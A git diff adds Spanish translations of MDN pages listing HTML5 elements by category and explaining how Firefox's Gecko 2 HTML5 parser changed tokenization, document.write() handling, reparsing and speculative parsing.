+   <td>Representa un texto que debe ser <em>aislado</em> de sus alrededores para el formateado bidireccional del texto.  Permite incrustar un fragmento de texto con una direccionalidad diferente o desconocida.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("bdo")}}</td>
+   <td>Representa la <em>direccionalidad</em> de sus descendientes con el fin de anular de forma explícita al algoritmo bidireccional Unicode.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("span")}}</td>
+   <td>Representa texto sin un significado específico.  Este debe ser usado cuando <em>ningún otro</em> elemento semántico le confiere un significado adecuado, en cuyo caso, provendrá de atributos globales como <code>class</code>, <code>lang</code>, o <code>dir</code>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("br")}}</td>
+   <td>Representa un <em>salto de línea</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("wbr")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa una <em>oportunidad de salto de línea, </em>es decir, un punto sugerido de envoltura donde el texto de múltiples líneas puede ser dividido para mejorar su legibilidad.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ediciones">Ediciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("ins")}}</td>
+   <td>Define una <em>adición</em> en el documento.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("del")}}</td>
+   <td>Define una <em>remoción</em> del documento.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Contenido_incrustado">Contenido incrustado</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("img")}}</td>
+   <td>Representa una <em>imagen</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("iframe")}}</td>
+   <td>Representa un <em>contexto anidado de navegación</em>, es decir, un documento HTML embebido.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("embed")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa un <em>punto de integración</em> para una aplicación o contenido interactivo externo que por lo general no es HTML.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("object")}}</td>
+   <td>Representa un <em>recurso externo, </em>que será tratado como una imagen, un sub-documento HTML o un recurso externo a ser procesado por un plugin.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("param")}}</td>
+   <td>Define <em>parámetros</em> para el uso por los plugins invocados por los elementos <code>&lt;object&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("video")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa un <em>video</em>, y sus archivos de audio y capciones asociadas, con la interfaz necesaria para reproducirlos. </td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("audio")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa un <em>sonido</em> o <em>stream de audio.</em></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("source")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Permite a autores especificar recursos multimedia alternativos para los elementos multimedia como <code>&lt;video&gt;</code> o <code>&lt;audio&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("track")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Permite a autores especificar una <em>pista de texto</em> temporizado para elementos multimedia como <code>&lt;video&gt;</code> o<em> <code>&lt;audio&gt;</code>.</em></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("canvas")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa un <em>área de mapa de bits</em>  en el que se pueden utilizar scripts para renderizar gráficos como gráficas, gráficas de juegos o cualquier imagen visual al vuelo.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("map")}}</td>
+   <td>En conjunto con <code>&lt;area&gt;</code>, define un <em>mapa de imagen</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("area")}}</td>
+   <td>En conjunto con <code>&lt;map&gt;</code>, define un <em>mapa de imagen</em>.</td>
+  </tr>
+  <tr>
+   <td>{{SVGElement("svg")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Define una <em>imagen vectorial</em> embebida.</td>
+  </tr>
+  <tr>
+   <td>{{MathMLElement("math")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Define una <em>fórmula matemática</em>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Datos_tabulares">Datos tabulares</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("table")}}</td>
+   <td>Representa <em>datos con más de una dimensión.</em></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("caption")}}</td>
+   <td>Representa el <em>título de una tabla</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("colgroup")}}</td>
+   <td>Representa un <em>conjunto de una o más columnas</em> de una tabla.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("col")}}</td>
+   <td>Representa una <em>columna </em>de una tabla.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("tbody")}}</td>
+   <td>Representa el bloque de filas que describen los <em>datos concretos </em>de una tabla.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("thead")}}</td>
+   <td>Representa el bloque de filas que describen las <em>etiquetas de columna</em> de una tabla.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("tfoot")}}</td>
+   <td>Representa los bloques de filas que describen los <em>resúmenes de columna</em> de una tabla.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("tr")}}</td>
+   <td>Representa una <em>fila de celdas </em>en una tabla.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("td")}}</td>
+   <td>Representa una <em>celda de datos</em> en una tabla.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("th")}}</td>
+   <td>
+    <p>Representa una <em>celda encabezado </em>en una tabla. </p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Formularios">Formularios</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("form")}}</td>
+   <td>Representa un <em>formulario</em>, consistiendo de controles que puede ser enviado a un servidor para procesamiento.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("fieldset")}}</td>
+   <td>Representa un <em>conjunto de controles</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("legend")}}</td>
+   <td>Representa el <em>título </em>de un <code>&lt;fieldset&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("label")}}</td>
+   <td>Representa el <em>título</em> de un control de formulario.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("input")}}</td>
+   <td>Representa un <em>campo de datos escrito </em>que permite al usuario editar los datos.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("button")}}</td>
+   <td>Representa un <em>botón</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("select")}}</td>
+   <td>Representa un control que permite la <em>selección entre un conjunto de opciones</em>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("datalist")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa un <em>conjunto de opciones predefinidas </em>para otros controles.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("optgroup")}}</td>
+   <td>Representa un <em>conjunto de opciones, </em>agrupadas lógicamente.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("option")}}</td>
+   <td>Representa una <em>opción</em> en un elemento <code>&lt;select&gt;</code>, o una sugerencia de un elemento <code>&lt;datalist&gt;</code>.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("textarea")}}</td>
+   <td>Representa un <em>control de edición de texto multilínea.</em></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("keygen")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa un control de <em>par generador de llaves.</em></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("output")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa el <em>resultado de un cálculo.</em></td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("progress")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa el <em>progreso de finalización </em>de una tarea.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("meter")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa la <em>medida </em>escalar (o el valor fraccionario) dentro de un rango conocido.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Elementos_interactivos">Elementos interactivos</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Elemento</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{HTMLElement("details")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa un <em>widget</em> desde el que un usuario puede obtener información o controles adicionales.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("summary")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa un <em>resumen, título</em> o <em>leyenda</em> para un elemento <code>&lt;details&gt;</code> dado.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("command")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa un <em>comando</em> que un usuario puede invocar.</td>
+  </tr>
+  <tr>
+   <td>{{HTMLElement("menu")}} <a href="/en-US/docs/HTML/HTML5"><img alt="This element has been added in HTML5" src="/files/3843/HTML5_Badge_32.png" style="height: 16px; vertical-align: middle; width: 16px;" title="This element has been added in HTML5"></a></td>
+   <td>Representa una <em>lista de comandos</em> .</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/HTML5" title="HTML/HTML5">Un conjunto de documentos sobre HTML5</a>.</li>
+ <li>La <a href="/en-US/docs/HTML/Element" title="HTML/Element">referencia de todos las etiquetas HTML</a>, incluso elementos no validos en HTML5.</li>
+ <li>Otra manera de listar las etiquetas: la <a href="http://joshduck.com/periodic-table.html" title="http://joshduck.com/periodic-table.html">Tabla Periodica de elementos HTML5</a> por Josh Duck.</li>
+</ul>
diff --git a/files/es/html/html5/html5_parser/index.html b/files/es/html/html5/html5_parser/index.html
new file mode 100644
index 0000000000..591fcbe865
--- /dev/null
+++ b/files/es/html/html5/html5_parser/index.html
@@ -0,0 +1,64 @@
+---
+title: Analizador de HTML5
+slug: HTML/HTML5/HTML5_Parser
+tags:
+  - HTML
+  - HTML5
+  - para_revisar
+translation_of: Web/Guide/HTML/HTML5/HTML5_Parser
+---
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-2"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">{{ gecko_minversion_header("2") }}{{ draft() }}</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-3"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">Gecko 2 introduce un nuevo analizador basado en HTML 5.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-4"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">El analizador de HTML es una de las piezas más complicadas y delicadas de un navegador.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Controla la forma en que tu código fuente HTML es convertido en páginas web y, como tal, los cambios en él son poco habituales.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">El nuevo analizador es más rápido, cumple con el estándar HTML 5 y permite muchas funcionalidades nuevas.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">El nuevo analizador presenta estas mejoras importantes:</span></span></p>
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Ahora puedes utilizar SVG y MathML alineado en las páginas de HTML 5, sin sintaxis de espacio de nombres XML.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">El análisis se hace ahora en un tema aparte del hilo principal de la interfaz de usuario de Firefox, mejorando la capacidad de respuesta global del navegador.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Las llamadas a <code>innerHTML</code> son mucho más rápidas.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Se han corregido <a class="external" href="http://tinyurl.com/html-parser-bugs" title="http://tinyurl.com/html-parser-bugs">decenas de errores relacionados desde hace tiempo con el analizador</a>.</span></span></li>
+</ul>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">La <a class="external" href="http://www.w3.org/TR/html5/" title="http://www.w3.org/TR/html5/">especificación de HTML 5</a> ofrece una descripción más detallada que los anteriores estándares HTML sobre cómo convertir una secuencia de bytes en un árbol DOM.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Esto dará lugar a un comportamiento más consistente a través de las implementaciones del navegador.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">En otras palabras, al ser compatibles con HTML5, Gecko, WebKit, e Internet Explorer (IE) se comportarán de forma más coherente entre sí.</span></span></p>
+<h2 id="Conductas_del_analizador_modificadas"><span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Conductas del analizador modificadas</span></span></h2>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Algunos cambios en la forma en que se comporta el analizador de Gecko 2, en comparación con versiones anteriores de Gecko, pueden afectar a los desarrolladores web, dependiendo de cómo hayas escrito anteriormente el código y en qué navegadores lo hayas probado.</span></span></p>
+<h3 id="Tokenización_del_ángulo_izquierdo_del_soporte_dentro_de_una_etiqueta"><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">Tokenización del ángulo izquierdo del soporte dentro de una etiqueta</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Teniendo en cuenta la cadena <code>&lt;foo&lt;bar&gt;</code> , el nuevo analizador la lee como una etiqueta llamada <code>foo&lt;bar</code> .</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Este comportamiento es compatible con IE y Opera, y es diferente de Gecko 1.x y WebKit, que lo leen como dos etiquetas, <code>foo</code> y <code>bar</code> .</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Si anteriormente has probado tu código en Internet Explorer y Opera, entonces probablemente no tendrás ningunas etiquetas así.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Si hiciste la prueba de tu sitio sólo con Gecko 1.x o WebKit (por ejemplo, intranets exclusivas de Firefox o sitios móviles orientados hacia WebKit), entonces podrías tener etiquetas que coincidan con este modelo y se comportarán de manera diferente con Gecko 2.</span></span></p>
+<h3 id="Llamar_a_document.write_()_durante_el_análisis"><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Llamar a document.write () durante el análisis</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Antes de HTML5, Gecko y WebKit permitían las llamadas a <a href="/en/DOM/document.write" title="en/DOM/document.write"><code>document.write()</code></a> <em>durante el análisis</em> para insertar contenido en la secuencia de origen.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Este comportamiento daba lugar inherentemente a <a class="external" href="http://en.wikipedia.org/wiki/Race_condition" title="http://en.wikipedia.org/wiki/Race_condition">condiciones de carrera</a>, puesto que el contenido se insertaba, </span></span><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">en la secuencia de origen, en</span></span><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr"> un punto dependiente de los tiempos de ejecución.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Si la llamada ocurría después de que el análisis acabara, el contenido insertado sustituía al documento.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">En IE, este tipo de llamadas son ignoradas o implican una llamada a <a href="/en/DOM/document.open" title="en/DOM/document.open"><code>document.open()</code></a>, sustituyendo el documento.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">En HTML5, <code>document.write()</code> sólo se puede llamar desde un script que creado mediante la etiqueta {{ HTMLElement ("script") }} que no tenga establecidos los atributos <code><a href="/En/HTML/Element/Script#attr_async" title="En/HTML/Element/Script#attr async">async</a></code> o <code><a href="/En/HTML/Element/Script#attr_defer" title="En/HTML/Element/Script#attr defer">defer</a></code>.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-28"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Con el analizador de HTML 5, las llamadas a <code>document.write()</code> en cualquier otro contexto o se ignoran o sustituyen el documento.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-29"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Algunos contextos en los que <em>no</em> debes llamar a <code>document.write()</code> incluyen:</span></span></p>
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-30"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">scripts creados con <a href="/en/DOM/document.createElement" title="en/DOM/document.createElement">document.createElement ()</a></span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-31"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">controladores de eventos</span></span></li>
+ <li><a href="/en/DOM/window.setTimeout" title="en/DOM/window.setTimeout"><span class="goog-gtc-unit" id="goog-gtc-unit-32"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">setTimeout ()</span></span></a></li>
+ <li><a href="/en/DOM/window.setInterval" title="en/DOM/window.setInterval"><span class="goog-gtc-unit" id="goog-gtc-unit-33"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr">setInterval ()</span></span></a></li>
+ <li><code>&lt;script async src="..."&gt;</code></li>
+ <li><code>&lt;script defer src="..."&gt;</code></li>
+</ul>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-34"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr">Si utilizas el mismo mecanismo para cargar bibliotecas de scripts para todos los navegadores, incluyendo Internet Explorer, entonces tu código probablemente no se vea afectado por este cambio.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-35"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Los scripts que pueden provocar condiciones de carrera en Firefox, pero que resultarían seguros en Internet Explorer, se comportarán de manera diferente debido a este cambio.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-36"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Firefox escribe una advertencia en la consola de JavaScript cuando ignora una llamada a <code>document.write()</code> .</span></span></p>
+<h3 id="Falta_de_repetición_del_análisis"><span class="goog-gtc-unit" id="goog-gtc-unit-37"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Falta de repetición del análisis</span></span></h3>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-38"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Antes de HTML5, los analizadores repetían el análisis del documento si alcanzaban el final del archivo dentro de ciertos elementos o dentro de los comentarios.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-39"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Por ejemplo, si el documento carecía de una etiqueta de cierre <code>&lt;/title&gt;</code>, el analizador repetía el análisis para buscar el primer "&lt;" del documento, o si el comentario no estaba cerrado, buscaba el primer '&gt;'.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-40"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Este comportamiento creaba una vulnerabilidad de seguridad.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-41"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Si un atacante forzaba un final de archivo prematuro, el analizador podía cambiar qué partes del documento consideraba scripts ejecutables.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-42"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Además, la compatibilidad con la repetición de análisis dio lugar a código de análisis innecesariamente complejo.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-43"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Con HTML 5, los analizadores ya no repiten análisis de ningún documento.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-44"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Este cambio tiene las siguientes consecuencias para los desarrolladores web:</span></span></p>
+<ul>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-45"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Si se omite la etiqueta de cierre para &lt;title&gt;, &lt;style&gt;, &lt;textarea&gt; o &lt;XMP&gt;, la página <em>fallará</em> el análisis.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-46"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">IE ya falla al analizar documentos si falta una etiqueta &lt;/ title&gt;, así que si pruebas con IE, es probable que no tengas ese problema.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-47"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Si olvidas cerrar un comentario, lo más probable es que la página falle al analizarse.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-48"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Sin embargo, los comentarios no cerrados a menudo se rompen en los navegadores existentes, por una razón u otra, así que es poco probable que tengas este problema en los sitios que se han probado en varios navegadores.</span></span></li>
+ <li><span class="goog-gtc-unit" id="goog-gtc-unit-49"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">En un script alineado, con el fin de utilizar las cadenas literales <code>&lt;/script&gt;</code> y <code>&lt;!--</code> , deberías evitar que se analicen literalmente, expresándolas como <code>\u003c/script&gt;</code> y <code>\u003c!--</code> .</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-50"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La práctica anterior de escapar de la cadena <code>&lt;/script&gt;</code> rodeándola con los marcadores de comentario, aunque es compatible con HTML5, causa problemas en los casos en los que se omite el marcador de comentario (ver punto anterior).</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-51"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Puedes evitar estos problemas utilizando el código de carácter para el primer '&lt;' en su lugar.</span></span></li>
+</ul>
+<h2 id="Mejora_del_rendimiento_con_el_análisis_especulativo"><span class="goog-gtc-unit" id="goog-gtc-unit-52"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Mejora del rendimiento con el análisis especulativo</span></span></h2>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-53"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Sin relación con los requisitos de la especificación de HTML 5, el analizador de Gecko 2 utiliza <em>el análisis especulativo</em>, en el que continúa el análisis de un documento mientras que los scripts se están descargando y ejecutando.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-54"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Esto se traduce en un mejor rendimiento en comparación con análisis anteriores, ya que la mayoría de las veces, Gecko puede realizar estas tareas en paralelo.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-55"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Para aprovechar al máximo el análisis especulativo y ayudar a que tus páginas se carguen lo más rápido posible, asegúrate de que cuando llames a <a href="/en/DOM/document.write" title="en/DOM/document.write">document.write ()</a> , escribas un <em>subárbol equilibrado</em> dentro de ese trozo de script.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-56"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Un subárbol equilibrado es el código HTML en el que todos los elementos que se abren también están cerrados, de forma que después de la secuencia de comandos, los elementos que se dejan abiertos son los mismos que fueron abiertos antes de la secuencia de comandos.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-57"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Las etiquetas de apertura y cierra no necesitan ser escritas por la misma llamada <code>document.write()</code>, siempre y cuando estén dentro de la misma etiqueta <code>&lt;script&gt;</code>.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-58"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Ten en cuenta que no debes usar etiquetas de cierre para elementos nulos que no tienen etiquetas de cierre: {{ HTMLElement('area') }}, {{ HTMLElement('base') }}, {{ HTMLElement('br') }}, {{ HTMLElement('col') }}, {{ HTMLElement('command') }}, {{ HTMLElement('embed') }}, {{ HTMLElement('hr') }}, {{ HTMLElement('img') }}, {{ HTMLElement('input') }}, {{ HTMLElement('keygen') }}, {{ HTMLElement('link') }}, {{ HTMLElement('meta') }}, {{ HTMLElement('param') }}, {{ HTMLElement('source') }} and {{ HTMLElement('wbr') }}.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-59"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">(También existe algún elemento cuyas etiquetas de cierre pueden omitirse en algunos casos, como {{ HTMLElement ('p') }} del ejemplo siguiente, pero es más fácil usar siempre etiquetas de cierre para dichos elementos que asegurarse de que las etiquetas de cierre sólo se omitan cuando no sean necesarias.)</span></span></p>
